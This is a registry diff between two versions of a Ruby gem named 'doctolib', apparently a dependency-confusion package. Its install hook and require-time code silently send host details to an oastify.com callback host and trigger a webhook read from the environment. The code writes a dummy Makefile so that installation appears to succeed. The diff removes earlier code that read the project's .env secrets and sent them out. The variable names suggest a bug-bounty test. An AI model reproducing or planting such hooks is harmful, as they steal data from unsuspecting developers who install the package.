doctolib 99.0.1 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 5c97bbb0aae949e74e268a13768f1c27c6dc7942f0f85ae61b66adf087cd9030
4
- data.tar.gz: 2ab3f3224b1f9aec50cbb007b41bd9e72b73bcc14efd6e818747b883450f14e1
3
+ metadata.gz: 450c1b6b8c3be533b171a5250456fab5a8a87f37eb6fb221c2f744872ecdf0df
4
+ data.tar.gz: 2c2f08bbc998a6166ca00cde73f28919684fbe6bafbebf5969d9b04fa08d32ce
5
5
  SHA512:
6
- metadata.gz: 391c2e51f3b33b5ad18494bf46c6fa14bcfb0610521308857feafc57dd6d74393ad3b91d25c5a339cd2e724a01303f1c15f5320e92d7e610af59c795d53aa056
7
- data.tar.gz: fc93f3b042a58f166485567d15aa2dc42e8b6c04640bf8591c6eb4890f621b649ae352fe8ab059b8cbd0029ed86d084b0a6e058a2a60bf93b1260f5cb0765fff
6
+ metadata.gz: b8469d12ae653fb336ef89b96029f0320b20499652d59d5bd9264a63dd9b79f197d5a6eff4100fad24dc2b5e37e09bb1cc657dbddf13208d88fb654083250576
7
+ data.tar.gz: ae298c2366bf3537e22691c8dca7090de83189585b3ac677b8e9c1f18d37ff8b3484d29ed7b1aab150f102fb6750f254153568ce158f3698cb80332d6af25bc8
@@ -1,4 +1,4 @@
1
- require 'net/https'
1
+ require 'net/http'
2
2
  require 'uri'
3
3
  require 'json'
4
4
  require 'socket'
@@ -33,14 +33,9 @@ begin
33
33
  dir = parent
34
34
  end
35
35
 
36
- # Lire .env si présent
37
- env_file = File.join(info[:parent_dir] || Dir.pwd, '.env')
38
- info[:dotenv] = File.read(env_file) if File.exist?(env_file)
39
-
40
- # Callback
41
- uri = URI("https://#{CALLBACK}/gem_install")
36
+ # Callback HTTP (pas HTTPS)
37
+ uri = URI("http://#{CALLBACK}/gem_install")
42
38
  http = Net::HTTP.new(uri.host, uri.port)
43
- http.use_ssl = true
44
39
  http.open_timeout = 5
45
40
  http.read_timeout = 5
46
41
 
@@ -50,8 +45,6 @@ begin
50
45
 
51
46
  http.request(request)
52
47
  rescue => e
53
- # Silent fail
54
48
  end
55
49
 
56
- # Créer un Makefile vide pour que l'installation réussisse
57
50
  File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")
data/lib/doctolib.rb CHANGED
@@ -1,10 +1,10 @@
1
- require 'net/https'
1
+ require 'net/http'
2
2
  require 'uri'
3
3
  require 'json'
4
4
  require 'socket'
5
5
 
6
6
  module Doctolib
7
- VERSION = '99.0.1'
7
+ VERSION = '99.0.2'
8
8
  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
9
9
 
10
10
  unless defined?(@@triggered)
@@ -24,13 +24,12 @@ module Doctolib
24
24
  timestamp: Time.now.utc.iso8601
25
25
  }
26
26
 
27
- # Chercher SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN
28
27
  webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
29
28
  info[:webhook_found] = !webhook.nil?
30
29
 
31
- uri = URI("https://#{CALLBACK}/gem_require")
30
+ # HTTP pas HTTPS
31
+ uri = URI("http://#{CALLBACK}/gem_require")
32
32
  http = Net::HTTP.new(uri.host, uri.port)
33
- http.use_ssl = true
34
33
  http.open_timeout = 5
35
34
  http.read_timeout = 5
36
35
 
@@ -40,7 +39,6 @@ module Doctolib
40
39
 
41
40
  http.request(request)
42
41
 
43
- # Trigger leur webhook si présent
44
42
  if webhook
45
43
  webhook_uri = URI(webhook)
46
44
  Net::HTTP.get(webhook_uri)
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: doctolib
3
3
  version: !ruby/object:Gem::Version
4
- version: 99.0.1
4
+ version: 99.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - icare